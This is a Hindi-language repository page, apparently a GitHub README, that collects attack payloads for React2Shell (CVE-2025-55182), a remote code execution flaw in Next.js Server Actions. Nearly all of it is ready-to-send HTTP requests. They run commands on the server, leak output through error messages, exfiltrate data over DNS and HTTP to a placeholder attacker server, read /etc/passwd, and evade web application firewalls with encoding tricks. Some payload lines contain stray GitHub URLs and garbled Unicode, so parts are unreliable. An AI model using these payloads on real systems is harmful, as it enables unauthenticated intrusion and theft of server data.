REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता श्रृंखला है जो Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है। यह भेद्यता प्रोटोटाइप प्रदूषण भेद्यता का Server Actions के साथ संयोजन में उपयोग करके सर्वर पर अप्रमाणित मनमाना कोड निष्पादन प्राप्त करती है।

यह रिपॉजिटरी React2Shell पेलोड और बाइपास साझा करने के लिए समर्पित है। PRs/योगदान का हमेशा स्वागत है!

PoC

संसाधन

नीचे कुछ अतिरिक्त संसाधन दिए गए हैं जो आपको उपयोगी लग सकते हैं:

Assetnote द्वारा React2Shell स्कैनर: https://github.com/assetnote/react2shell-scanner
Nuclei टेम्पलेट: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

पेलोड

मूल प्रूफ ऑफ कॉन्सेप्ट

सभी क्रेडिट @maple3142 को जाते हैं प्रारंभिक प्रूफ ऑफ कॉन्सेप्ट प्रकटीकरण के लिए जो इस GitHub Gist में पाया जा सकता है:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

त्रुटि संदेश (digest फ़ील्ड) के माध्यम से आउटपुट के साथ पूर्ण RCE

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

PoC

एक बाहरी DNS क्वेरी ट्रिगर करें

<OAST_SERVER> को अपने OAST सर्वर होस्टनाम से बदलें।

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS एक्सफ़िल्ट्रेशन

<OAST_SERVER> को अपने OAST सर्वर होस्टनाम से बदलें।

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP एक्सफ़िल्ट्रेशन

<OAST_SERVER> को अपने OAST सर्वर होस्टनाम से बदलें।

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

समय विलंब ट्रिगर करें

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

स्ट्रिंग कॉन्केटनेशन और एन्कोडिंग के साथ WAF को बायपास करें

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/HEAD/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/HEAD/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ--

यूनिकोड एस्केपिंग और टेम्पलेट लिटरल के साथ WAF को बायपास करें

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: q8w2e5r7
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH9jK2mP5qR8vX3zC
X-Nextjs-Html-Request-Id: L4kJ7hG9fD2sA6zX
Content-Length: 780

------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var a=process[`main${''}Module`][`req${''}uire`](https://github.com/aseemyash/krle/blob/HEAD/%60child$%7B%27_%27%7Dprocess%60);var b=a[`exe${''}cSync`](https://github.com/aseemyash/krle/blob/HEAD/%60who$%7B%27%27%7Dami%60);var c=b[`toS${''}tring`]();throw Object[`ass${''}ign`](new Error(`NEXT${'_'}REDIRECT`),{digest:c});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryH9jK2mP5qR8vX3zC
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryH9jK2mP5qR8vX3zC--

Base64 एन्कोडेड पेलोड के साथ WAF को बायपास करें

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: z5x8c3v6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP6oI9uY2tR5eW8qA
X-Nextjs-Html-Request-Id: M3nB6vC9xZ4wE7rT
Content-Length: 820

------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var B=Buffer['from'];var s=B('Y2hpbGRfcHJvY2Vzcw==','base64')['toString']();var cp=process['mainModule']['require'](https://github.com/aseemyash/krle/blob/HEAD/s);var cmd=B('aWQ=','base64')['toString']();var res=cp['execSync'](https://github.com/aseemyash/krle/blob/HEAD/cmd)['toString']();throw Object['assign'](new Error(B('TkVYVF9SRURJUkVDVA==','base64')['toString']()),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryP6oI9uY2tR5eW8qA
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryP6oI9uY2tR5eW8qA--

पूर्ण यूनिकोड एन्कोडिंग के माध्यम से WAF बाइपास

क्रेडिट @pyn3rd को जाता है

POST / HTTP/1.1
Host: localhost
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Next-Html-Request-Id: abe3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Length: 2349

------WebKitFormBoundaryZ8VskeuqzXXMdwxw
Content-Disposition: form-data; name="0"

{
  "\u0074\u0068\u0065\u006e":
    "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
  "\u0073\u0074\u0061\u0074\u0075\u0073":
    "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
    "\u0076\u0061\u006c\u0075\u0065": {
      "\u0076\u0061\u006c\u0075\u0065":
        "\u0076\u0022\u0074\u006d\u0069\u006e\u0065\u0022\u003a\u0022\u0024\u0042\u0031\u0033\u0033\u0037\u0022\u007d",
      "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0065": {
        "\u005f\u0070\u0072\u0065\u0066\u0069\u0078\u0078":
          "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u0072\u0075\u006e\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u002c\u005b\u0027\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064\u0027\u005d\u002c\u007b\u0027\u0065\u006e\u0063\u006f\u0064\u0069\u006e\u0067\u0027\u003a\u0027\u0075\u0074\u0066\u0038\u0027\u007d\u0029\u003b\u0072\u0065\u0073\u003d\u0072\u0065\u0073\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u002e\u0074\u0072\u0069\u006d\u0028\u0029\u003b\u0072\u0065\u0073\u003d\u0042\u0031\u0033\u0033\u0037\u002b\u0072\u0065\u0073\u003b\u0072\u0065\u0073\u002b\u003d\u0042\u0031\u0033\u0033\u0037",
        "\u006f\u0070\u0074\u0069\u006f\u006e\u0073\u006e\u0065\u003f\u0061\u003d\u0024\u007b\u0072\u0065\u0073\u007d\u003b\u0033\u0030\u0037\u003b\u0060\u007d\u0029\u003b",
        "\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
        "\u005f\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u0049\u006e\u0064\u0065\u0078": {
          "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072":
            "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
        }
      }
  }
}
------WebKitFormBoundaryZ8VskeuqzXXMdwxw--

krle

सबसे लोकप्रिय

REACT2SHELL (CVE-2025-55182)

संसाधन

पेलोड

मूल प्रूफ ऑफ कॉन्सेप्ट

त्रुटि संदेश (digest फ़ील्ड) के माध्यम से आउटपुट के साथ पूर्ण RCE

एक बाहरी DNS क्वेरी ट्रिगर करें

DNS एक्सफ़िल्ट्रेशन

HTTP एक्सफ़िल्ट्रेशन

समय विलंब ट्रिगर करें

स्ट्रिंग कॉन्केटनेशन और एन्कोडिंग के साथ WAF को बायपास करें

यूनिकोड एस्केपिंग और टेम्पलेट लिटरल के साथ WAF को बायपास करें

Base64 एन्कोडेड पेलोड के साथ WAF को बायपास करें

पूर्ण यूनिकोड एन्कोडिंग के माध्यम से WAF बाइपास